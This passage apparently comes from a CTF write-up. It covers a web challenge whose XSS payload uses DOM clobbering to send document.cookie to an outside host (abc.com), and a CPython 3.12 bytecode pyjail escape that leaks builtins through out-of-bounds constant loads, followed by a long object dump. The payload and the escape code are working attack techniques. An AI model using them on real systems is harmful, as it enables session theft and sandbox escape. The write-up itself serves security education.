const files = [{"path": "images/window.x2.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "title": "START<img srcset="/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>--> 2x, /assets/images/window.x1.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>-->" alt=",zz//">END`/window.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "zoom": 2}, {"path": "images/window.x1.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "title": "START<img srcset="/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>--> 2x, /assets/images/window.x1.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>-->" alt=",zz//">END`/window.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "zoom": null}];
const file = getBestImage(files, window.devicePixelRatio);
// omitted
</script>
There is another HTML injection above that code, used for DOM clobbering:
<figure>
<img srcset="/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>--> 2x, /assets/images/window.x1.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>-->" alt="">
<figcaption>
The final executed JS looks like this:
const files = [{"path": "???"/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`???`;<!-- ???
const file = getBestImage(files, window.devicePixelRatio);
// omitted
Pwn
bypy
CPython 3.12 bytecode pyjail
from base64 import b64decode
from marshal import loads
NMAX = 10000
def validator(c):
if len(c.co_names) != 0:
return False
if len(c.co_consts) != 0:
return False
if len(c.co_cellvars) != 0:
return False
if len(c.co_freevars) != 0:
return False
if len(c.co_varnames) != 0:
return False
return True
def dummy():
pass
# :)
for key in ["eval", "exec", "__import__", "open"]:
del __builtins__.__dict__[key]
def main():
global __builtins__
print("Give me your source: ")
src = input()
if len(src) > NMAX:
print("too long")
exit(-1)
c = b64decode(src)
code = loads(c)
if not validator(code):
print("invalid code")
exit(-1)
dummy.__code__ = code
print(dummy())
main()
Simply put, no names or consts are allowed.
I first used the common empty tuple OOB to see what constants are available:
from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == "__main__":
n = int(argv[1])
code = [
*([opmap["EXTENDED_ARG"], n // 256] if n // 256 != 0 else []),
opmap["LOAD_CONST"],
n % 256,
opmap["RETURN_VALUE"],
0,
]
c = CodeType(
0,
0,
0,
0,
0,
3,
bytes(code),
(),
(),
(),
"<sandbox>",
"<eval>",
"",
0,
b"",
b"",
(),
(),
)
ret = eval(c, {"__builtins__": MockBuiltins()})
if ret:
print(f"{n}: {ret}")
# for i in $(seq 1 10000); do python find.py $i 2>/dev/null; done >> offsets.txt
"""
4: <class 'hamt_bitmap_node'>
9: <class 'Token.MISSING'>
54: {'__name__': 'sys', '__doc__': "This module provides access to some objects used or maintained by the\ninterpreter and to functions that interact strongly with the interpreter.\n\nDynamic objects:\n\nargv -- command line arguments; argv[0] is the script pathname if known\npath -- module search path; path[0] is the script directory, else ''\nmodules -- dictionary of loaded modules\n\ndisplayhook -- called to show results in an interactive session\nexcepthook -- called to handle any uncaught exception other than SystemExit\n To customize printing in an interactive session or to install a custom\n top-level exception handler, assign other functions to replace these.\n\nstdin -- standard input file object; used by input()\nstdout -- standard output file object; used by print()\nstderr -- standard error object; used for error messages\n By assigning other file objects (or objects that behave like files)\n to these, it is possible to redirect all of the interpreter's I/O.\n\nlast_exc - the last uncaught exception\n Only available in an interactive session after a\n traceback has been printed.\nlast_type -- type of last uncaught exception\nlast_value -- value of last uncaught exception\nlast_traceback -- traceback of last uncaught exception\n These three are the (deprecated) legacy representation of last_exc.\n\nStatic objects:\n\nbuiltin_module_names -- tuple of module names built into this interpreter\ncopyright -- copyright notice pertaining to this interpreter\nexec_prefix -- prefix used to find the machine-specific Python library\nexecutable -- absolute path of the executable binary of the Python interpreter\nfloat_info -- a named tuple with information about the float implementation.\nfloat_repr_style -- string indicating the style of repr() output for floats\nhash_info -- a named tuple with information about the hash algorithm.\nhexversion -- version information encoded as a single integer\nimplementation -- Python implementation information.\nint_info -- a named tuple with information about the int implementation.\nmaxsize -- the largest supported length of containers.\nmaxunicode -- the value of the largest Unicode code point\nplatform -- platform identifier\nprefix -- prefix used to find the Python library\nthread_info -- a named tuple with information about the thread implementation.\nversion -- the version of this interpreter as a string\nversion_info -- version information as a named tuple\n__stdin__ -- the original stdin; don't touch!\n__stdout__ -- the original stdout; don't touch!\n__stderr__ -- the original stderr; don't touch!\n__displayhook__ -- the original displayhook; don't touch!\n__excepthook__ -- the original excepthook; don't touch!\n\nFunctions:\n\ndisplayhook() -- print an object to the screen, and save it in builtins._\nexcepthook() -- print an exception and its traceback to sys.stderr\nexception() -- return the current thread's active exception\nexc_info() -- return information about the current thread's active exception\nexit() -- exit the interpreter by raising SystemExit\ngetdlopenflags() -- returns flags to be used for dlopen() calls\ngetprofile() -- get the global profiling function\ngetrefcount() -- return the reference count for an object (plus one :-)\ngetrecursionlimit() -- return the max recursion depth for the interpreter\ngetsizeof() -- return the size of an object in bytes\ngettrace() -- get the global debug tracing function\nsetdlopenflags() -- set the flags to be used for dlopen() calls\nsetprofile() -- set the global profiling function\nsetrecursionlimit() -- set the max recursion depth for the interpreter\nsettrace() -- set the global debug tracing function\n", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='sys', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), 'addaudithook': <built-in function addaudithook>, 'audit': <built-in function audit>, 'breakpointhook': <built-in function breakpointhook>, '_clear_type_cache': <built-in function _clear_type_cache>, '_current_frames': <built-in function _current_frames>, '_current_exceptions': <built-in function _current_exceptions>, 'displayhook': <built-in function displayhook>, 'exception': <built-in function exception>, 'exc_info': <built-in function exc_info>, 'excepthook': <built-in function excepthook>, 'exit': <built-in function exit>, 'getdefaultencoding': <built-in function getdefaultencoding>, 'getdlopenflags': <built-in function getdlopenflags>, 'getallocatedblocks': <built-in function getallocatedblocks>, 'getunicodeinternedsize': <built-in function getunicodeinternedsize>, 'getfilesystemencoding': <built-in function getfilesystemencoding>, 'getfilesystemencodeerrors': <built-in function getfilesystemencodeerrors>, 'getrefcount': <built-in function getrefcount>, 'getrecursionlimit': <built-in function getrecursionlimit>, 'getsizeof': <built-in function getsizeof>, '_getframe': <built-in function _getframe>, '_getframemodulename': <built-in function _getframemodulename>, 'intern': <built-in function intern>, 'is_finalizing': <built-in function is_finalizing>, 'setswitchinterval': <built-in function setswitchinterval>, 'getswitchinterval': <built-in function getswitchinterval>, 'setdlopenflags': <built-in function setdlopenflags>, 'setprofile': <built-in function setprofile>, '_setprofileallthreads': <built-in function _setprofileallthreads>, 'getprofile': <built-in function getprofile>, 'setrecursionlimit': <built-in function setrecursionlimit>, 'settrace': <built-in function settrace>, '_settraceallthreads': <built-in function _settraceallthreads>, 'gettrace': <built-in function gettrace>, 'call_tracing': <built-in function call_tracing>, '_debugmallocstats': <built-in function _debugmallocstats>, 'set_coroutine_origin_tracking_depth': <built-in function set_coroutine_origin_tracking_depth>, 'get_coroutine_origin_tracking_depth': <built-in function get_coroutine_origin_tracking_depth>, 'set_asyncgen_hooks': <built-in function set_asyncgen_hooks>, 'get_asyncgen_hooks': <built-in function get_asyncgen_hooks>, 'activate_stack_trampoline': <built-in function activate_stack_trampoline>, 'deactivate_stack_trampoline': <built-in function deactivate_stack_trampoline>, 'is_stack_trampoline_active': <built-in function is_stack_trampoline_active>, 'unraisablehook': <built-in function unraisablehook>, 'get_int_max_str_digits': <built-in function get_int_max_str_digits>, 'set_int_max_str_digits': <built-in function set_int_max_str_digits>, 'modules': {'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module '_frozen_importlib' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, '_io': <module '_io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'posix': <module 'posix' (built-in)>, '_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>, 'time': <module 'time' (built-in)>, 'zipimport': <module 'zipimport' (frozen)>, '_codecs': <module '_codecs' (built-in)>, 'codecs': <module 'codecs' (frozen)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python3.12/encodings/aliases.py'>, 'encodings': <module 'encodings' from '/usr/local/lib/python3.12/encodings/__init__.py'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python3.12/encodings/utf_8.py'>, '_signal': <module '_signal' (built-in)>, '_abc': <module '_abc' (built-in)>, 'abc': <module 'abc' (frozen)>, 'io': <module 'io' (frozen)>, '__main__': <module '__main__' from '/wd/find.py'>, '_stat': <module '_stat' (built-in)>, 'stat': <module 'stat' (frozen)>, '_collections_abc': <module '_collections_abc' (frozen)>, 'genericpath': <module 'genericpath' (frozen)>, 'posixpath': <module 'posixpath' (frozen)>, 'os.path': <module 'posixpath' (frozen)>, 'os': <module 'os' (frozen)>, '_sitebuiltins': <module '_sitebuiltins' (frozen)>, '_distutils_hack': <module '_distutils_hack' from '/usr/local/lib/python3.12/site-packages/_distutils_hack/__init__.py'>, 'site': <module 'site' (frozen)>, 'types': <module 'types' from '/usr/local/lib/python3.12/types.py'>, '_opcode': <module '_opcode' from '/usr/local/lib/python3.12/lib-dynload/_opcode.cpython-312-x86_64-linux-gnu.so'>, 'opcode': <module 'opcode' from '/usr/local/lib/python3.12/opcode.py'>}, 'stderr': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'>, '__stderr__': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'>, '__displayhook__': <built-in function displayhook>, '__excepthook__': <built-in function excepthook>, '__breakpointhook__': <built-in function breakpointhook>, '__unraisablehook__': <built-in function unraisablehook>, 'version': '3.12.0 (main, Nov 1 2023, 13:17:10) [GCC 10.2.1 20210110]', 'hexversion': 51118320, '_git': ('CPython', '', ''), '_framework': '', 'api_version': 1013, 'copyright': 'Copyright (c) 2001-2023 Python Software Foundation.\nAll Rights Reserved.\n\nCopyright (c) 2000 BeOpen.com.\nAll Rights Reserved.\n\nCopyright (c) 1995-2001 Corporation for National Research Initiatives.\nAll Rights Reserved.\n\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\nAll Rights Reserved.', 'platform': 'linux', 'maxsize': 9223372036854775807, 'float_info': sys.float_info(max=1.7976931348623157e+308, max_exp=1024, max_10_exp=308, min=2.2250738585072014e-308, min_exp=-1021, min_10_exp=-307, dig=15, mant_dig=53, epsilon=2.220446049250313e-16, radix=2, rounds=1), 'int_info': sys.int_info(bits_per_digit=30, sizeof_digit=4, default_max_str_digits=4300, str_digits_check_threshold=640), 'hash_info': sys.hash_info(width=64, modulus=2305843009213693951, inf=314159, nan=0, imag=1000003, algorithm='siphash13', hash_bits=64, seed_bits=128, cutoff=0), 'maxunicode': 1114111, 'builtin_module_names': ('_abc', '_ast', '_codecs', '_collections', '_functools', '_imp', '_io', '_locale', '_operator', '_signal', '_sre', '_stat', '_string', '_symtable', '_thread', '_tokenize', '_tracemalloc', '_typing', '_warnings', '_weakref', 'atexit', 'builtins', 'errno', 'faulthandler', 'gc', 'itertools', 'marshal', 'posix', 'pwd', 'sys', 'time'), 'stdlib_module_names': frozenset({'multiprocessing', '_pydecimal', 'telnetlib', 'functools', '__future__', 'marshal', 'token', 'quopri', 'json', 'netrc', 'errno', '_markupbase', 'plistlib', '_sha2', 'ast', 'pipes', '_osx_support', 'unicodedata', 'modulefinder', 'dis', 're', 'uu', '_thread', 'ensurepip', 'idlelib', 'genericpath', 'traceback', 'textwrap', 'sre_constants', '_compat_pickle', 'bisect', 'tracemalloc', '_operator', 'dbm', 'copy', 'tokenize', 'collections', '_msi', 'ftplib', '_warnings', 'time', '_compression', 'locale', 'dataclasses', '_pyio', 'nt', 'webbrowser', 'xml', 'configparser', 'nis', '_ast', 'ssl', 'fcntl', 'operator', '_struct', '_codecs_jp', '_decimal', '_codecs_tw', '_sqlite3', 'copyreg', 'hmac', 'shlex', 'csv', 'zlib', '_io', 'email', 'winsound', 'builtins', '_bisect', 'pyexpat', '_locale', 'pdb', 'readline', 'resource', 'smtplib', 'lib2to3', 'importlib', 'tarfile', 'wsgiref', '_sre', 'chunk', 'poplib', 'sre_parse', '_codecs_hk', '_collections_abc', 'timeit', '_hashlib', 'cmath', '_statistics', '_threading_local', 'fnmatch', 'msilib', 'gzip', 'msvcrt', '_weakrefset', 'posix', 'random', 'imaplib', 'signal', '_codecs_cn', 'contextlib', 'winreg', 'site', 'mmap', 'sre_compile', 'struct', '_frozen_importlib_external', '_uuid', 'colorsys', 'decimal', '_pydatetime', 'heapq', '_sha1', 'os', 'shutil', 'urllib', 'zipapp', 'compileall', '_heapq', 'threading', 'html', 'tomllib', 'weakref', 'nturl2path', '_weakref', 'hashlib', 'rlcompleter', '_pickle', '_ctypes', '_curses', '_stat', '_bz2', 'abc', 'antigravity', 'asyncio', 'pstats', 'fractions', '_sha3', 'statistics', 'subprocess', 'encodings', 'pickletools', 'termios', '_datetime', 'graphlib', 'crypt', '_blake2', 'keyword', 'pty', 'tkinter', 'unittest', 'tty', '_winapi', 'sqlite3', 'wave', 'shelve', '_random', 'cProfile', 'faulthandler', 'turtledemo', 'code', 'array', 'spwd', 'sys', 'sunau', 'queue', 'aifc', '_ssl', 'getopt', '_collections', 'itertools', '_symtable', '_imp', 'enum', '_opcode', 'socketserver', '_lsprof', '_overlapped', '_posixshmem', '_multibytecodec', '_sitebuiltins', 'io', 'pydoc', 'opcode', 'symtable', 'platform', '_socket', 'doctest', 'inspect', 'pyclbr', 'pickle', 'gettext', 'filecmp', '_md5', 'sndhdr', 'zipimport', 'string', '_codecs', '_csv', 'secrets', '_dbm', '_tokenize', 'pwd', '_aix_support', 'nntplib', 'py_compile', 'ctypes', 'venv', 'runpy', 'xdrlib', 'base64', 'uuid', '_codecs_iso2022', '_strptime', 'linecache', 'zoneinfo', '_string', 'reprlib', '_queue', '_scproxy', 'this', '_elementtree', 'logging', 'pydoc_data', 'bz2', '_abc', 'pkgutil', '_crypt', 'ipaddress', '_curses_panel', 'warnings', 'audioop', '_py_abc', 'xmlrpc', '_posixsubprocess', 'bdb', 'sysconfig', '_tkinter', '_signal', '_lzma', 'ntpath', 'selectors', '_contextvars', 'cmd', 'tabnanny', 'binascii', 'optparse', 'pprint', 'trace', 'posixpath', 'http', 'contextvars', 'imghdr', 'atexit', '_zoneinfo', 'select', '_json', 'lzma', 'typing', 'stringprep', 'turtle', 'syslog', '_asyncio', 'glob', 'codecs', 'stat', '_frozen_importlib', 'getpass', '_pylong', '_functools', 'cgi', 'codeop', 'pathlib', 'sched', 'socket', 'calendar', 'numbers', 'tempfile', '_typing', 'types', 'cgitb', 'fileinput', 'grp', 'ossaudiodev', '_tracemalloc', 'argparse', 'curses', 'datetime', 'difflib', 'profile', 'mimetypes', 'mailcap', 'zipfile', 'concurrent', '_gdbm', 'math', 'gc', 'mailbox', '_codecs_kr', '_multiprocessing'}), 'byteorder': 'little', 'abiflags': '', 'version_info': sys.version_info(major=3, minor=12, micro=0, releaselevel='final', serial=0), 'implementation': namespace(name='cpython', cache_tag='cpython-312', version=sys.version_info(major=3, minor=12, micro=0, releaselevel='final', serial=0), hexversion=51118320, _multiarch='x86_64-linux-gnu'), 'flags': sys.flags(debug=0, inspect=0, interactive=0, optimize=0, dont_write_bytecode=0, no_user_site=0, no_site=0, ignore_environment=0, verbose=0, bytes_warning=0, quiet=0, hash_randomization=1, isolated=0, dev_mode=False, utf8_mode=0, warn_default_encoding=0, safe_path=False, int_max_str_digits=4300), 'float_repr_style': 'short', 'thread_info': sys.thread_info(name='pthread', lock='semaphore', version='NPTL 2.31'), 'meta_path': [<_distutils_hack.DistutilsMetaFinder object at 0x7f1b813bdb50>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib_external.PathFinder'>], 'path_importer_cache': {'/usr/local/lib/python312.zip': None, '/usr/local/lib/python3.12': FileFinder('/usr/local/lib/python3.12'), '/usr/local/lib/python3.12/encodings': FileFinder('/usr/local/lib/python3.12/encodings'), '/usr/local/lib/python3.12/lib-dynload': FileFinder('/usr/local/lib/python3.12/lib-dynload'), '/usr/local/lib/python3.12/site-packages': FileFinder('/usr/local/lib/python3.12/site-packages'), '/wd/find.py': None, '/wd': FileFinder('/wd')}, 'path_hooks': [<class 'zipimport.zipimporter'>, <function FileFinder.path_hook.<locals>.path_hook_for_FileFinder at 0x7f1b815c05e0>], 'monitoring': <module 'sys.monitoring'>, 'path': ['/wd', '/usr/local/lib/python312.zip', '/usr/local/lib/python3.12', '/usr/local/lib/python3.12/lib-dynload', '/usr/local/lib/python3.12/site-packages'], 'executable': '/usr/local/bin/python', '_base_executable': '/usr/local/bin/python', 'prefix': '/usr/local', 'base_prefix': '/usr/local', 'exec_prefix': '/usr/local', 'base_exec_prefix': '/usr/local', 'platlibdir': 'lib', 'pycache_prefix': None, 'argv': ['find.py', '54'], 'orig_argv': ['python', 'find.py', '54'], 'warnoptions': [], '_xoptions': {}, '_stdlib_dir': '/usr/local/lib/python3.12', 'dont_write_bytecode': False, '__stdin__': <_io.TextIOWrapper name='<stdin>' mode='r' encoding='utf-8'>, 'stdin': <_io.TextIOWrapper name='<stdin>' mode='r' encoding='utf-8'>, '__stdout__': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>, 'stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>, '_home': None, '__interactivehook__': <function enablerlcompleter.<locals>.register_readline at 0x7f1b813d8900>}
55: {'__name__': 'builtins', '__doc__': "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThis module is not normally accessed explicitly by most\napplications, but can be useful in modules that provide\nobjects with the same name as a built-in value, but in\nwhich the built-in of that name is also needed.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'BaseExceptionGroup': <class 'BaseExceptionGroup'>, 'Exception': <class 'Exception'>, 'GeneratorExit': <class 'GeneratorExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'SystemExit': <class 'SystemExit'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BufferError': <class 'BufferError'>, 'EOFError': <class 'EOFError'>, 'ImportError': <class 'ImportError'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'OSError': <class 'OSError'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SystemError': <class 'SystemError'>, 'TypeError': <class 'TypeError'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionError': <class 'ConnectionError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'InterruptedError': <class 'InterruptedError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'RecursionError': <class 'RecursionError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeError': <class 'UnicodeError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'TabError': <class 'TabError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ExceptionGroup': <class 'ExceptionGroup'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2023 Python Software Foundation.
All Rights Reserved.
Copyright (c) 2000 BeOpen.com.
All Rights Reserved.
Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.
Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}
128: {'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module '_frozen_importlib' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, '_io': <module '_io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'posix': <module 'posix' (built-in)>, '_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>, 'time': <module 'time' (built-in)>, 'zipimport': <module 'zipimport' (frozen)>, '_codecs': <module '_codecs' (built-in)>, 'codecs': <module 'codecs' (frozen)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python3.12/encodings/aliases.py'>, 'encodings': <module 'encodings' from '/usr/local/lib/python3.12/encodings/__init__.py'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python3.12/encodings/utf_8.py'>, '_signal': <module '_signal' (built-in)>, '_abc': <module '_abc' (built-in)>, 'abc': <module 'abc' (frozen)>, 'io': <module 'io' (frozen)>, '__main__': <module '__main__' from '/wd/find.py'>, '_stat': <module '_stat' (built-in)>, 'stat': <module 'stat' (frozen)>, '_collections_abc': <module '_collections_abc' (frozen)>, 'genericpath': <module 'genericpath' (frozen)>, 'posixpath': <module 'posixpath' (frozen)>, 'os.path': <module 'posixpath' (frozen)>, 'os': <module 'os' (frozen)>, '_sitebuiltins': <module '_sitebuiltins' (frozen)>, '_distutils_hack': <module '_distutils_hack' from '/usr/local/lib/python3.12/site-packages/_distutils_hack/__init__.py'>, 'site': <module 'site' (frozen)>, 'types': <module 'types' from '/usr/local/lib/python3.12/types.py'>, '_opcode': <module '_opcode' from '/usr/local/lib/python3.12/lib-dynload/_opcode.cpython-312-x86_64-linux-gnu.so'>, 'opcode': <module 'opcode' from '/usr/local/lib/python3.12/opcode.py'>}
129: [None, <module 'sys' (built-in)>, None, <module 'builtins' (built-in)>]
130: <module '_frozen_importlib' (frozen)>
133: <built-in function __import__>
166: [<function search_function at 0x7fe59a24d9e0>]
167: {'utf_8': <codecs.CodecInfo object for encoding utf-8 at 0x7f8d42549910>}
168: {'strict': <built-in function strict_errors>, 'ignore': <built-in function ignore_errors>, 'replace': <built-in function replace_errors>, 'xmlcharrefreplace': <built-in function xmlcharrefreplace_errors>, 'backslashreplace': <built-in function backslashreplace_errors>, 'namereplace': <built-in function namereplace_errors>, 'surrogatepass': <built-in function surrogatepass>, 'surrogateescape': <built-in function surrogateescape>}
226: {'__name__': 'sys', '__doc__': "This module provides access to some objects used or maintained by the\ninterpreter and to functions that interact strongly with the interpreter.\n\nDynamic objects:\n\nargv -- command line arguments; argv[0] is the script pathname if known\npath -- module search path; path[0] is the script directory, else ''\nmodules -- dictionary of loaded modules\n\ndisplayhook -- called to show results in an interactive session\nexcepthook -- called to handle any uncaught exception other than SystemExit\n To customize printing in an interactive session or to install a custom\n top-level exception handler, assign other functions to replace these.\n\nstdin -- standard input file object; used by input()\nstdout -- standard output file object; used by print()\nstderr -- standard error object; used for error messages\n By assigning other file objects (or objects that behave like files)\n to these, it is possible to redirect all of the interpreter's I/O.\n\nlast_exc - the last uncaught exception\n Only available in an interactive session after a\n traceback has been printed.\nlast_type -- type of last uncaught exception\nlast_value -- value of last uncaught exception\nlast_traceback -- traceback of last uncaught exception\n These three are the (deprecated) legacy representation of last_exc.\n\nStatic objects:\n\nbuiltin_module_names -- tuple of module names built into this interpreter\ncopyright -- copyright notice pertaining to this interpreter\nexec_prefix -- prefix used to find the machine-specific Python library\nexecutable -- absolute path of the executable binary of the Python interpreter\nfloat_info -- a named tuple with information about the float implementation.\nfloat_repr_style -- string indicating the style of repr() output for floats\nhash_info -- a named tuple with information about the hash algorithm.\nhexversion -- version information encoded as a single integer\nimplementation -- Python implementation information.\nint_info -- a named tuple with information about the int implementation.\nmaxsize -- the largest supported length of containers.\nmaxunicode -- the value of the largest Unicode code point\nplatform -- platform identifier\nprefix -- prefix used to find the Python library\nthread_info -- a named tuple with information about the thread implementation.\nversion -- the version of this interpreter as a string\nversion_info -- version information as a named tuple\n__stdin__ -- the original stdin; don't touch!\n__stdout__ -- the original stdout; don't touch!\n__stderr__ -- the original stderr; don't touch!\n__displayhook__ -- the original displayhook; don't touch!\n__excepthook__ -- the original excepthook; don't touch!\n\nFunctions:\n\ndisplayhook() -- print an object to the screen, and save it in builtins._\nexcepthook() -- print an exception and its traceback to sys.stderr\nexception() -- return the current thread's active exception\nexc_info() -- return information about the current thread's active exception\nexit() -- exit the interpreter by raising SystemExit\ngetdlopenflags() -- returns flags to be used for dlopen() calls\ngetprofile() -- get the global profiling function\ngetrefcount() -- return the reference count for an object (plus one :-)\ngetrecursionlimit() -- return the max recursion depth for the interpreter\ngetsizeof() -- return the size of an object in bytes\ngettrace() -- get the global debug tracing 